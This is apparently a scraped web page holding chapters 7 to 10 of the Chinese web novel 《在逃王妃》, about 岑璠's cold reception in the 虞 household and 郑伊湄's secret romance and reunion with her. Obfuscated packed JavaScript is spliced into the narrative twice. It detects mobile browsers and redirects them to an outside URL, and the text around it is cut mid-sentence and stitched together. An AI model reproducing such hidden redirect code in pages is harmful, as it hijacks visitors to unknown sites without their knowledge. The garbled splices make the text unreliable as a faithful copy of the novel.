《在逃王妃》 7. 第七章 槿儿将来龙去脉看得清楚,上前一步,怒道:“你要想看便直说,犯得着摔箱子吗?” 紫芯缓过神来,丝毫不畏惧,“你哪只眼睛看到我摔箱子了?分明是这箱子太沉!” 几个小厮皱着眉,瞟了眼地上的银子,动了动酸疼的手腕,帮衬道:“紫芯姑娘说的也没错,这箱子是太沉了…” 岑璠不想听他们在这里争论,捡起一锭银子,扔回箱子里,道:“装回去,放好便是。” 紫芯剜了一眼槿儿,嘴里嘟囔了句什么,绕过槿儿出了房门。 小厮搬好箱子,槿儿便给箱子上了锁。 紫芯回房后,扫了眼那上了锁的箱子,将衣裳搭在架子上,“大姑娘先去沐浴,把衣裳换了,晚些还要去拜见夫人他们。” 岑璠扫了眼那件秋香色对襟暗花襦裙,重复了刚才的话,“我不需要人伺候。” 紫芯停下手里的活,看了看她,二话没说,衣裳随意一搭,提醒了句别误了时辰,便出去了。 两人在屋内收拾,屋子里陈设简单,妆台和床榻上面都有或浅或深的刮痕,显然是旧物,不过好在都被擦过,倒也好收拾。 不一会儿,乳娘从外面进来。 乳娘关上门,看了看架子上的衣服,道:“水已经烧好了,姑娘先去沐浴,换身衣裳吧。” 岑璠没再拒绝,转身去了浴房。 乳娘挂好衣裳,拿来皂角和煮好的桑叶,拿了杌子坐在她身后,道:“老奴出去打听过了,小公子他们都去了黄家,晚些才能回来呢。” “知道了。” 乳娘看了看搭在屏风上的衣裳,又嘱咐道:“姑娘过去的衣裳都收起来了,在洛阳咱们还是要讲究些,这衣裳姑娘先穿着,过些日子咱们自己再置办,挑些姑娘喜欢的料子。” 岑璠正想着另一件事,没太在意,微微转身,余光落向乳娘。 她记得乳娘曾说过,世上的人大多见钱眼开,她也一度以为所有人该和岑家一样,使些银子便能闭上嘴安分些,是以先前虞家上门,她便总会给些银钱。 可近来遇到的人,似乎都在告诉她,那位杨将军说的才是对的。 有些东西,银子摆平不了。 她开口轻问,“乳娘,你说我还要他们给银子吗?” 乳娘正给她梳着头,听她这么说,一时不解,眼角的纹都挤得深了些,询问道:“姑娘是觉得给银子不妥?” “洛阳世家,骨子里瞧不上咱们,光给银子没有用的。”她忽然想到什么,问道:“乳娘不也曾经在洛阳待过几年?” 乳娘梳头的手缓缓停住,“那都是好多年前的事了,老奴都有些忘了……” “不过姑娘说的对,这虞家的人认定了咱们是外室,就算是收了银子应当也不管用。” 她瞟了眼自家姑娘的神色,紧接着嘟囔了一句,“这虞家人也不知道哪里来的脸,说咱们是外室!” 岑璠嘴越抿越紧,弯翘的眼睫慢慢垂下,没有接话。 她知道,母亲从来都不是外室。 岑家也是彭城富户,外祖父曾经还是彭城的主簿,而父亲只是普通的佃户出身。 母亲过去爱游山玩水,有一年战乱,岑家的田庄上遭遇贼寇,父亲一家救了母亲,自此相识。 自她懂事起,母亲的手只沾染过笔墨丹青,却从未沾染过铜臭,反倒是父亲常帮外祖父打理生意。 她四岁时,父亲在外面帮岑家走生意,彭城突然起了战事,城内外的消息被阻断了大半年,直到战事结束,母亲都没有等到父亲。 本来家里都已经开始筹备丧事,父亲却回来了。 然而父亲没有去见他们,只带了一名女子悄悄拜见了祖父母。 后来她们才知道,父亲与洛阳的黄氏姑娘定了亲,回来只是接祖父母回洛阳。 母亲咽不下这口气,上门去理论,被黄家人扣了个外室的身份,赶出了洛阳,就连外祖父的官位也没了。 乳娘说,父亲告诉母亲,黄家虽不是什么大氏族,可毕竟有个做廷尉少卿的家主,捏死一个彭城商户如同捏死蚂蚁。母亲不想认下那外室的名份,也不想回岑家,便带他们姐弟去了睢陵的山寺上。 在山上那几年里,母亲常常把自己一个人关在屋子里作画,画好后乳娘便拿到山下卖,后来那些画在彭城一带有了名气,一幅画能卖不少银子。 可母亲性格却越来越孤僻,她八岁时,也不知道父亲带了什么话来,竟让母亲忽然决定认下外室的身份,把弟弟带去了洛阳虞家。 乳娘说母亲被带去了宫里,作画犯了皇后的禁忌,被施以杖责。 她的母亲是被父亲骗到宫里去的。 可临终前,母亲却只托乳娘说让她去洛阳找皇后报仇,只字未提父亲。 到死都还为这个男人开脱,自己只留下一抔黄土和不舍得花的银子…… 想到此,岑璠眼神暗了几分。 乳娘心里揣着事,梳子有一下没一下地梳着,想好措辞,劝道:“不过老奴觉得,有些事姑娘心里记得便是,姑娘既来了洛阳,想要报仇,在虞家该忍还是要忍,院子里的事老奴刚才听了几句,槿儿那边老奴会去说,可姑娘这性子也该改改了,不能总是一副爱答不理的样子。” “知道了。”岑璠答应了下来,忧色未减,“乳娘,你说我真的能报仇吗?” 那皇宫不是想去就去的地方,她连进虞家都身不由己,何况是找皇后报仇...... 乳娘拿来水瓢,继续做着手中的事,“姑娘且住在虞家,打听打听夫人说的那幅画,其他事总会有法子。” * 夜晚,清晨融化的雪又凝成了冰霜,月被乌云遮去了一半,天色暗沉。 紫芯来过后,岑璠披了件新做的厚袄,随她出了门。 内院的正厅内亮着灯火,门外的小厮通报后,岑璠才进去。 厅中坐着两人,男人蓄着胡须,面目已显老态,可一双狭长的眼睛难掩年轻时的风流。 这么多年以来,岑璠早已忘了父亲的模样,只记得父亲姓虞名佑柏,如今见来,除了一双相像的眼,一切都显得很陌生。 岑璠目光微移,看向虞佑柏身旁衣着端丽的妇人。 想必那就是黄氏,黄映苒了。 虞佑柏看了眼黄氏,转而瞧向自己多年未见的女儿,相顾无言,只干巴巴地笑了声,“既回了家,若是住不习惯,同你母亲说便是。” 家…… 她曾经是有家,可自从外祖父去后,似乎就没有了。 空气似凝了一瞬。 虞佑柏适时向一旁的管家使了个眼色。 老管事上前两步,弯了点腰,提醒道:“大姑娘头一日归家,按着规矩,给老爷夫人磕个头吧。” 岑璠扫向堂上坐的两人,袖下的指微微动了动,而后照着管事说的,对着堂前一拜。 没有叫父亲,更没有认母亲。 一拜之后,岑璠便自己站了起来,随后又是一阵沉默。 忽然,身后传来一阵声音,“是阿姊吗?” 虞佑柏朝门外看了看,笑道:“珝儿来了。” 听到名字,岑璠转过身去,瞧见了那张和母亲有几分相似的脸。 这些年她虽送去虞家不少书信,可虞家每年只有一两封会送到彭城,洛阳对岑家的人有所防备,她派人能打听到的少之又少,竟不知原来他都长这么高了…… 珝儿冲她咧开嘴笑了笑,而后便看向堂前。 黄映苒面色显然轻松不少,总算张开了嘴,不紧不慢说道:“你呀,这几日少出些门,陪你阿姊说些体己话。” 珝儿爽快答道:“知道了母亲。” 岑璠曾经接到的书信都是只言片语,信中总会有的一句便是“一切安好”。 她知道弟弟改了姓氏,过去时常担心弟弟在虞家其实过得不好,不曾想会是这般。 其乐融融,像是一家人一样。 岑璠目光落在已经长大的少年身上,微微张口,无言又无措,似一棵孤零零的浮萍。 另外三个人又寒暄了几句,岑璠就在一旁静静听着,什么话也没说。 虞老爷似是察觉到了不妥,连忙打了两句圆场,可能是实在没有脸问女儿过去在岑家过得好不好,只简单说了家里的状况,便让珝儿 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抬起头对视的刹那,她却是瞧见了满眼的不解。 眼角渐渐泛了红,风拂过脸颊,顺带拂走了眼角的一滴湿润。 “你也不该叫她母亲。”她还是继续补充道。 珝儿本以为自己的亲姐姐,回到家的第一日,就算不送点好吃的好玩的,也该多说些体己话才是。 竟是同他说这些...... 再多想些,他语中竟带了委屈,回道:“当初是她先不要我的。” “你说什么?”岑璠声音却冷了几分。 珝儿声音骤然大了许多,急声重复,“是她自己要去宫里,把我一个人丢到虞家的!” 一阵冷风自两人中间拂过,岑璠盯着他,许久未说话,眼睛被风吹的酸涩。 他们姐弟的书信中,似都有意避开了过去。 她的母亲是被骗去宫里的,是被皇后害了,如何是不要他了? 就算是不要,也应该是不要她了才对啊...... 岑璠沉默了许久,声音控制不住颤抖,“你可记得,当年是父亲和黄氏...” 话还没说完,岑璠便失了声。 当年父亲娶黄家女时,他才不到两岁...... 她记得过去有父母的家是什么样子,可他不记得。 母亲把他们带到山上后,性情大变,连她都时常害怕母亲会随时抛下她,更遑论是他。 想必自他记事起,母亲在他心中便一直不是个好的母亲… 岑璠想再争辩两句,却只在珝儿眼中看到了怨。 这是她为数不多的亲人,她不该再往下说了。 岑璠收住话,深吸一口气,抿紧了唇,许久之后才吐出一句,“不说这些了,回去吧。” 珝儿平复下来心情,还是送她回了院子,没有进门,只在远处看着她进屋便离开了。 乳娘正在房内,案上摆了几幅字画。 见她回来,乳娘站起身走到她身边,朝门外望了望,道:“公子呢?” 岑璠呆呆地站在门口,听到乳娘的话才回过神,低头道:“外面冷,让他回去了。” 乳娘瞧她脸色,存有几分怀疑,试探地问,“咱们公子可是…在这里受了欺负?” “没有。” “那可是老爷说了什么?是让姑娘改姓,还是要银子?” 岑璠摇头,“都没有…” “都没有?”乳娘疑惑道:“这怎么可能…” 既不求岑家的钱,也不是让她认祖归宗,这也太奇怪了吧? 岑璠也觉得蹊跷,可她今日太累,实在不欲再多想了。 * 郑家 汤叔是府中老仆,本在廊下逗着鹦鹉,陡然间却听见一阵脚步声。 转头还来不及行个礼,便见自家六姑娘进了老爷的屋,只有一截裙摆还拖在门槛上。 郑伊湄推门进了屋,扫了眼自家父亲和长兄,一礼毕后,冷冷道:“还请父亲把玉佩还与我。” 8. 第八章 郑峋的三个儿子中,只剩郑书桦一人尚未成家,留在身边亲自教导。 郑书桦见自家小妹贸然闯入,看了看父亲脸色,起身低声皱着眉提醒,“小妹。” 郑伊湄不为所动,深吸一口气,行礼道:“那枚玉佩不是我的,这是——” 话未说完,郑峋便冷哼一声,“我当然知道玉佩不是你的…” “你就是还想着那个姓崔的!” 郑伊湄一时怒从中来,想出言反驳,最后也只是嘴抿了抿,头低下解释道:“玉佩不是他的。” 郑峋自是不信,面前这个女儿表面上举止挑不出一点错,可背地里见过什么人,他很清楚。 如今竟是为了一块儿玉佩顶撞他。 郑峋脸色愈发沉,胡须跟着颤了颤,声音冷硬,道:“那块玉佩,我已经着人送给晋王了。” 郑伊湄怔在原地,许久之后,竟是无奈笑了笑,眼睛微红,抬头间没了刚才的恭敬,冷声讽道:“父亲若想让我嫁给晋王,不必如此大费周章。” 郑氏自来重尊卑礼数,郑峋也从未见过她这么顶嘴,愣了半晌,气血逐渐上涌,厉声道:“你以为我这么做是为什么?还不是让崔家那个趁早断了念想!” 郑伊湄不解道:“就因为他随母姓崔,不肯改姓杨?” 郑峋气得胸口起伏,眉头拧紧,一副恨铁不成钢的模样,“你可知崔杨两家是什么关系?崔纪得罪了那么多人,司徒的位置迟早不保,你嫁到崔家,能有什么好下场?” 他话只说到这里,便摇了摇头,“和你说了也不明白。” 她上前一步,回道:“可我们郑氏和崔氏是世交,母亲不也是崔氏女,难道父亲以为把我嫁给晋王,就能划清关系?” “父亲别忘了,当年若没有我和母亲在彭城,晋王他早就......” “小妹,少说两句…”郑书桦走到她身旁,提醒道。 “你别护着她。”郑峋打断他的话,怒道:“都是从前你们太纵容她了,如今竟是目无尊长。” 郑伊湄并未辩解。 这句话她已经听习惯了,如果这算是目无尊长,她认。 可那枚玉佩,她无论如何也会要回来。 她眼神一冷,行礼后便转身离开。 背后传来一声拍案声,“她的婚事定下来前,不得迈出家门一步!” * 自那场大雪过后,岑璠便再也没有被噩梦所扰,可昨日夜里,她又入梦了。 和之前的梦完全不同,梦里是个黑夜,不知为何,她瞧不见任何东西,似是被什么困住,隐约闻到一缕暗香。 清晨,天还是灰蒙蒙的,门外的吵闹声逐渐清晰,岑璠起身,头脑昏胀。 不知为何,明明只是梦到了黑夜,浑身却觉得疲惫不堪。 也不知道自己最近是怎么了...... 门外的闹声又传了过来,“既是进了虞家,晨起给父母问安便是规矩,这里可是洛阳,不是什么乡野之地!” 岑璠披了衣裳,推开门便见槿儿站在门口,不知道说了什么眼睛通红。 乳娘拉住槿儿,训斥道:“我昨日怎么和你说的,少说两句…” 槿儿还是不服气,回了一句,“我们岑家在彭城也是有头有脸的人家,如何就成乡野了?” 岑璠走到门口,紫芯身后跟了一群小厮,哼了一声,没好气道:“大姑娘可算是醒了。” 岑璠看了她一眼,想到昨日乳娘嘱咐她的,浅浅一笑,“紫芯姑娘可否和夫人说一声,我明日再去。” 紫芯低声道:“没规矩...” 乳娘见状,上前一步徐徐道:“我们姑娘昨日睡得不踏实,紫芯姑娘劳烦去通报一声,就说我们晚些再去,夫人大度,想来不会计较。” 紫芯没再说更多,转身离去。 后来黄氏带了话来,说既是不舒服,让她改日再来便好。 乳娘先是将槿儿训了一番,待传话的人走后,叹了口气,“姑娘在虞家不比岑家,说话还是要注意些...” 岑璠抿了抿唇,道:“知道了。” 乳娘看岑璠这幅模样,知道她心里定是厌烦,自家姑娘自小便是一副执拗脾气,不服软,有些话从前没说过,现在想改也是难...... 她一时犯了难,“这些姑娘慢慢学,有老奴在,姑娘尽管放心...” 岑璠点头,正想说些什么,却有人破门而入。 来的人不少,领头的女子盘了妇人髻,衣着华贵,可分明还是个姑娘模样,而站在他身旁的男子和那日崔迟景的穿着倒极为相似,只是年岁长上许多。 岑璠站起身,似是认出她是谁,眼神微沉。 听说虞府共有两位姑娘,前些日子有一位嫁给了柳氏四子柳戚淮做续弦,能这样闯入她的屋子,也只能是那位二姑娘黄瑜了。 黄瑜看了看四周,道:“开始搬!” 说罢,身后的小厮便直向妆台而去。 槿儿大惊,也顾不得乳娘刚才说的,推开走在最前面的人,喝道:“你们干什么!” 黄瑜笑了笑,“阿姊见谅,妹妹本是想在母亲那里同阿姊说此事,谁能想到,阿姊不但没有去请安,连手下的人都没有半分礼数。” 岑璠闻言便也不退让,走到槿儿前面,声音也冷了几分,“姑娘闯入我的屋子,便是有礼数?” 乳娘见情形不好,刚准备说些什么,却见那男子道:“这屋子原就是阿瑜的,为何不能进?” 岑璠听到这句,知晓这两人绝不是来同她讲道理的。 淡淡道:“那我若是不让呢?” “你别欺人太甚!这屋子里的东西本就是阿瑜的,如何不能搬?”柳戚淮讥诮道:“果然是外室所生,小家子相。” 乳娘冷汗直流,小步上前,“姑娘…” 谁知岑璠没再争执,冷声道:“让他们搬。” 乳娘愣了愣,站回她身后,眼瞧一群人来回折腾,将东西都搬了出去。 连一张榻都不曾剩下。 昨日才放置好的东西散落了一地,一只玉笛被摔了个粉碎。 槿儿眼睛已经红了一片,用袖子抹了两把眼泪,道:“这可是咱们老太爷送给姑娘的笛子….” 她外祖父还在世时喜欢吹笛,她常陪在身边,便时常讨教。 那时在岑家,她唯一亲近的也只有外祖父。 那只笛子是老人临终时送给她的笛子,她来洛阳除了银子没带多少东西,却是将玉笛带来了。 槿儿边哭边骂,“什么世家礼数,我看分明是不要脸!咱们还不如不回来。” 岑璠睫翼微垂。 她何尝不知,虞家并不是什么好地方。 若是没有母亲生前的嘱托,没有珝儿在这里,她断然不会选择回来。 她低下头,攥紧拳,喃喃道:“都搬走也好...” 这样也好,她分文都不欠虞家的,什么养恩生恩都划清界限才好… 乳娘跟着槿儿连着低骂了几句,拾起地上的东西,却不知道能搁置在哪里,只能放到之前她们带来的箱子上。 摔碎的玉笛刚收拾好,珝儿却来了。 珝儿迈入房门,四处环望,看着空空如也的屋子,张大嘴,惊道:“三妹和三妹夫竟是...都搬走了?” “珝儿怎么来了?”岑璠走到他面前,收拾东西时挽起的袖口还未放下。 珝儿走到她面前,正色道:“三妹这次确实过分了,不过阿姊放心,刚才母亲在堂前当着三妹夫的面,将三妹好生训斥了一顿。” 槿儿只觉得他在为黄家开脱,没有半分喜色,嘟囔道:“训斥有什么用,也没见把东西还回来啊!” 珝儿“哎呦”一声,直道她不懂,“那不是还有柳家人在?三妹哭着闹着就要那些东西,咱们也总不能真当着柳家人的面把东西要回来吧?” 槿儿却没被说动,剜了一眼,“这院里这么大阵仗,主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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岑璠眼神微动,而后便叫槿儿拿了银子来。 珝儿站正了些。 岑璠摊开手,道:“阿姊不需要这些,这银子你拿去用便是,你想着多读些书,阿姊就已经很欢喜了。” 这世道虽什么都是世家说的算,可究其根本,世家本也兴自圣贤英雄。若真有本事,即使在乱世依旧能闻名天下。 珝儿接过沉甸甸的银子,冲她一笑,“阿姊真好!屋里被搬走的东西,我会找人赶紧补齐。” 他又看了看空荡荡的房子,道:“这里人生地不熟的,阿姊若还需要置办新物件,我带着苏媪她们去大市吧。” “也好。”岑璠眼角显出几分笑意,还想问什么,却见珝儿出了房门。 她收了话音,抿了抿唇。 槿儿走到她身边,看着珝儿离去的背影,“姑娘觉不觉得,咱们公子在帮着黄氏…” 岑璠未答,他们分别了七年,她不想重提旧事,也不想再像昨晚一样,挑起他对黄氏的仇恨。 除了父亲,她的至亲只有这一个弟弟了,母亲临终时让她报仇,便只有她一个人就好。 报完仇,对她来说也算解脱…… * 郑伊湄被关了好几日,郑峋本以为她会像以前一样,自己想通了过来认错。 可接连几日,郑伊湄都未曾人过一句错,甚至在老管事来时带了话,说若不将玉佩还给她,便自己去问晋王要。 父女两人僵持不下,谁也不肯见谁,最后竟是郑书桦亲自推开了她的屋门。 郑伊湄正临摹一幅字帖,抬头看见他,放下笔起身,走到他面前行礼。 郑书桦见她一句话不说,便知道她还在生气,叹了口气道:“小妹不是说要找晋王要回那块玉佩吗?” 郑伊湄愣了愣,“兄长的意思是...” “我带你去见晋王。” 9. 第九章 洛阳城的新贵崇尚佛法,过了建春门西行,建阳里有不少世家供奉的佛寺。 牛车停在晖玄寺前,绕过一座浮图,来到佛堂,堂内静谧无声,连一个僧人都看不到。 郑书桦在她身后,似是叹了口气,只说让她在此处等着,便退了出去。 郑伊湄回头看着他的背影,眉微微蹙起,却并未追出去。 寺内还供着香火,一截香灰掉到炉中,静得只剩鸟鸣声,还是没有人出现。 郑伊湄移开目光,抬起头看了看殿中禅定佛像,那佛似在看着她,笑容间是百般慈悲。 她轻轻说了句,而后跪在蒲团上拜了三拜,双手合十。 门外似有脚步声,她缓缓睁眼,正要起身,身后之人却一只手挡在了她眼前。 郑伊湄怔了一瞬,几乎是没有迟疑,轻轻开口,“崔寻简......” 崔迟景走到她面前,眨了眨眼睛,“郑姑娘这是许了什么愿?” 郑伊湄撇开头向门外走,小声嘟囔了一句,“才不告诉你...” 崔迟景拉住她,轻笑一声,将手里攥住的那枚玉佩放在她手里。 郑伊湄握住那块玉佩,眼睛睁大了些,她转过身,却见那人在蒲团上也拜了三拜,合掌默念了什么。 崔迟景起身,牵起她的手往外走。 殿前空无一人,郑伊湄拿着那荷花佩,还是想不通,但却不知道该怎么问他。 两人走到一棵梨树前,不约而同停下。 郑伊湄正要问,崔迟景却是先道:“这枚玉佩是晋王殿下让我还给你的。” “他让你还给我的?”郑伊湄看着手中的玉佩,似是有些惊讶,望了望四周。 崔迟景笑道:“别找了,他没来。” 这下郑伊湄愈发不解了,“你是说,他让兄长带我出来,是为了带我来见你?” 这晋王先前心安理得收了她的玉佩,如今这是装上好人了? 崔迟景似是知道她在想什么,“其实我觉得,表兄也许不像你想的那样,他…同我说了很多…” 至于说的什么,郑伊湄并没有问,她思索片刻,只缓缓点了点头,“或许吧……” 或许他收她的玉佩,是有什么难言之隐。 她注视着崔迟景的眼睛,想看看那双眼睛中有没有藏有心事,却只看到了自己的影子。 崔迟景笑出了声,眼神愈发温柔,“你总看我做甚?” 郑伊湄眨了眨眼,微微转开头,“你出去这么久,连封信都没有,你说我看你做甚?” 崔迟景听罢,便赶紧认错,“下次一定记得。” 郑伊湄抿了抿唇,没再怪罪他,她知道他本不喜官场,可也知道他为何此次铁了心要入仕。 她的目光落回他身上,“此行可还顺利?” “都顺利,阿湄放心。”崔迟景看了看她手里的玉佩,道:“这玉佩从前没见你佩过,是谁送的吗?” “一个朋友。”郑伊湄低头,喃喃道:“只是也不知道她还记不记得……” 她为了帮晋王,曾经骗过那个姑娘。 那是彭城岑家的姑娘,父亲早早过世,陪母亲在山上修行,然而就在她们下山寻医的时,她的母亲也病逝了。 后来她送了几封信去,只不过对方从未回过信。 不知道是不是在怪她忽然离开…… 她摊开手,盯着玉佩良久,又看了眼自己身上玉佩,将手里那块玉系了上去。 崔迟景看着她的动作,不由一笑,“挂两块玉,不嫌重啊?” “不重。” 崔迟景盯着她腰间的那块羊脂玉,道:“我送的那块,先取下来吧。” 郑伊湄手一顿,玉佩系得愈发慌乱。 崔迟景一叹,从袖中取出一只玉簪,簪在她的发间,“取下来吧,还有簪子呢。” 郑伊湄似是习惯,只轻轻“嗯”了一声,任由他将簪子簪好,而后卸掉了另一块玉佩,紧紧攥在自己手里。 再抬头时,眼睛都是红的。 崔迟景看着那支簪子,满意地笑了笑,声音却哑了许多,“你的生辰快到了,这次我就不去了。” “我知道…” 崔迟景拿了帕子,替她沾了沾眼泪,徐徐道:“这次我去彭城,没能寻到松白先生,但遇见了一位姑娘,她的画笔锋和松白很像。” “表兄说那位姑娘身份有些特殊,不便出面,可我觉得你们应当很投缘,还是该告诉你一声,你若不介意,她愿意送幅画给你贺生辰。” 郑伊湄知道,他这么大费周章,不过是觉得生辰不能陪她,想要找个人替他而已。 可她并不需要这样。 她摇了摇头,“算了,父亲他.......” 想到父亲动怒的原因,她又停住了话,撇开头,“那位姑娘若愿意,等我过了生辰,去城外一见吧。” 崔迟景能听出她的无奈,也能猜到她为何会欲言又止,脸上强撑的笑容渐渐维持不住,手垂了下去。 周围静的无声,他看着她,却终究没说什么。 他让她掉了眼泪,可就连他自己都不知道,还能与她有几次见面…… “崔寻简。”郑伊湄忽然唤了一声,抬起头,“你看,这棵梨树都已经这么高了...” 崔迟景没有抬头,紧紧看着她,他知道他们正站在一棵梨树下。 原来她也还记得。 佛寺刚建成时,这棵梨树还只是一棵树苗,那时他说等这棵树长大,他就能来娶她了。 梨树上压了一层雪,几声钟响传来,树桠上的雪零零星星散下来些,不知道又迷了谁的视线。 郑伊湄看着他,秀气的面容上透着倔强,声音微颤,“你说的话,我一直当它作数的。” 崔迟景知道她想要个答案,可她如此执着,他着实不知道该做出什么样的承诺。 他怕不能与她共白首,却更怕她会一直等他。 他还是不忍心对她眼中的期许视而不见,手攥的愈发紧,“这桩婚事,在我这里也一直作数,你等我一年,一年后我去娶你。” “好。” 崔寻简,我会一直等你...... * 屋子被搬空的那日,黄氏确实派来了人新添了些物件,可不久便被岑璠全部换了一遍。 不仅如此,院内还添了几个护院。 那些护院进门时,虞老爷多问了几句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711277|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑璠只说院子里的下人看不住人,给家里多添些护院也是好的。 这番话说的并不好听,虞佑柏却也未说什么,任由她去。 此后便消停了一段时间,虞佑柏没再怪罪,黄三姑娘也未来找过麻烦,反倒是同住一院的四姑娘黄珍时不时来闹上一闹。 就连岑璠说要带着珝儿祭拜亡母,虞佑柏也没阻拦。 洛阳的佛寺多由世家把控,这里的香火想必母亲定不愿受,幸好乳娘曾在洛阳待过,记得城外十里有一座佛寺,虽是设在村子里,却贵在灵验。 祭拜当日已然回春,清晨下了点毛毛小雨,岑璠只带了槿儿和几个护卫,乳娘留下看院子,穿了身素衣出门。 黄氏不甚放心,临走时又给两人加派了些人手。 来此祭拜的并非只有岑璠一行人。 在前殿祭拜的女子走出门外,一身浅云大袖对襟襦,似是哪家养出贵女,出于本能行礼。 岑璠回了一礼,走进些时,却是瞧见那女子身上的玉佩,玉佩上的络子很是眼熟。 目光在那块玉佩上停留了一会儿,越走越近,便是瞧了个真切。 那块荷花佩的中间是一条锦鲤,绦子上串有一颗玛瑙。 和她送出去的那块,未免也太像了...... 两人擦肩而过,即将迈入殿门,一阵风拂过。 岑璠转身回眸,只是不知为何,那女子也停了脚步,朝她望了过来。 视线落在彼此眼中,相隔甚远,却仿佛能窥见眼底,似在探寻着什么,似都欲言又止。 一切仿佛停了下来,就连风也歇了。 下一瞬,女子身旁的婢女说了什么,女子抿了抿唇,转过头去。 “阿姊在看什么?” 珝儿叫了一声,岑璠也回了头,“没什么......” 母亲的牌位在寂云寺中,两人在前殿只简单祭拜了一番,打算先去禅房,等到晚上点一盏长明灯。 走出殿门,岑璠又不禁想起刚才的女子,没走几步,却见一婢女走上前。 “岑姑娘,我家姑娘说,想找您叙叙旧。” 岑璠愣了许久,看着那婢女,一瞬间想到了许多可能,心跳如鼓擂动,清冷的眸似亮堂了许多。 珝儿走上前,觉得稀奇,他还从未见过阿姊这般神色,欣喜中带着忐忑,若不是听见了那婢女的话,还以为是自家阿姊要同什么俏郎君去说话。 “阿姊,她说的姑娘…是谁啊?” 岑璠仍旧有些恍惚,眉却是舒展开,“是一个朋友。” 槿儿从小在她身边,也还从未听说过她在洛阳有什么朋友,一时有些不放心,打算一起跟过去。 岑璠笑了笑,道:“槿儿也先和珝儿一起回去吧。” 其他人便先回了禅房,岑璠和那婢女来到寺外的亭子前。 女子坐在亭中,手中拿着那块玉佩,看着她越走越近,站起身来,眉如柳叶,眼波如水,似闪烁着粼粼波光。 那眼中清澈而温柔的笑意,如沐春风,似曾相识。 岑璠愣在原地。 女子笑了笑,低身行礼,“小女名姓郑,名伊湄。” “皎皎,好久不见。” 10. 第十章 岑璠呆呆站在原地,一双眼直愣愣地聚在对方身上,恍然间发现更多过去的痕迹。 目光渐移到她手上的玉佩,唇轻启。 “这块玉佩,是郑姑娘的…” 这话说得极轻,不像是在问,像是在喃喃自语陈述事实。 郑伊湄看着手里的玉佩,莞尔一笑,“过去实是有难言之隐,骗了皎皎,没想到竟然能在这里遇到。” 她目光微暗,轻轻道:“对不起….” 她骗了她多年,还差点丢了她送的玉佩….. 岑璠心里千回百转,一时失语,然而悬浮的心中骤然有了着落。 是了,记忆中的那个“少年”从来都不是什么晋王,而是这位姑娘。 那时她们还小,面前的郑姑娘女扮男装骗了她,是她一直认错了人。 难怪…难怪! 她缓缓摇头,“没有什么对不起的….” 还能见到她,已是幸运。 一切都没变,她记得自己,她的眼中也并非像晋王一样只剩冰冷。 郑伊湄笑了笑,低头看了眼玉佩,又系回腰带上,转而抬腕取下手上的镯子。 “这个送给皎皎。” 既是重逢,将来就再也别错过了。 那镯子成色极好,比岑璠当初送的那块贵重许多。 岑璠想说什么,然而镯子已经放在了掌心。 郑伊湄朝着亭子走去,岑璠下意识追在她身后。 桌上摆着她从未见过的杯盏,也许就是前些日珝儿提起的洛阳时兴的茶盏,里面盛有热茶。 岑璠坐在了她对面,心中仍有许多疑问。 她想知道她过去为何要骗她,那块儿玉佩为何之前又会在晋王身上。 可出口第一句却是,“郑姑娘可居于洛阳?” 郑伊湄点了点头,“皎皎叫我’阿湄‘就好,家里人都这样叫我。” 她原来还记得她,没有怪她,可为何这么多年她不曾回信呢? 郑伊湄一时想不通,可问的却也是短短一句,“皎皎为何来了洛阳?” 岑璠抿了抿唇,不知该如何回答她。 她是来替母亲报仇的,该叫她如何说? 一旁添茶的蒲菊,瞟了一眼,适时小声道:“刚才瞧着那位公子有些眼熟,姑娘可是虞家人?” 岑璠慌了一瞬,转而却觉得也没什么好隐瞒的,颔首承认,“是。” 郑伊湄回想了一番,恍然间想起前些日子虞家的一桩趣谈,眼中闪过一丝震惊。 她去信时也曾让人打听过一些,这岑家在彭城也算是富户。 虞家接回来的怎么会是她? 岑璠手放在膝上,攥紧了衣裙,“对不起,我也有事瞒着你……” 她的父亲并非早亡,抛弃妻子,她不想认。 谁都不想认…… 郑伊湄听到了她的道歉,回过神,嫣然一笑,“皎皎不必道歉,我也知道,你有你的难处…” “过两日——” 蒲菊咳了一声,打断了她的话,嘟囔道:“姑娘,这可是虞家的姑娘,若让老爷知道,肯定又要生气…您还嫌禁足不够多吗?” 这话狠狠敲在岑璠心上,她是荥阳郑氏的千金,而她选择回虞家的那一刻,便只能带着外室之女的枷锁,想必是那些世家大族所鄙夷的。 无论她是不是晋王,都是如此,改变不了…… “还是不给阿湄添麻烦了,以后若想见,还有很多机会的。”她漾起一个笑容,并不想让郑伊湄为难。 郑伊湄刚准备解释什么,却见一个小丫头气喘吁吁跑过来。 岑璠顺着她的目光看去,发现是槿儿。 “可算是找到姑娘了…”槿儿捂着腰,喘了几口气,“姑娘快回去看看吧,小公子他…” 岑璠站起身,“阿弟怎么了?” “小公子他身上起了好多红疹,不知道是怎么回事…” 岑璠眼睛睁大,疾步走到她身边,回身醒了一礼,“阿湄见谅,我阿弟他…” 郑伊湄走过去,眉也锁起,见岑璠方寸大乱,劝道:“你莫着急。” 此次随行婢女中有懂医术的,郑伊湄交代贴身婢女回去叫人,让槿儿跟过去待会儿给婢女带路,还是放不下心,便和岑璠一同回去看看。 正如槿儿说的那般,岑珝满脸起了红疹,不仅如此,整个脸都肿了起来,坐在榻上叫苦连天,话说得都含糊。 岑璠眼睛顿时红了,“怎么回事?” 跟在珝儿身边的小厮道:“大姑娘有所不知,我们公子春天常出疹子,该…少出门才对。” “阿姊我没事,就是脸有点疼……” 岑璠愈发心疼,看了又看,不敢伸手碰,只能等人来。 槿儿很快便带来了婢女,诊过后说是过敏…… 婢女给了几颗药,道:“这寺中花开的正好,这位公子许是闻不惯花粉,还是该早些下山为好。” 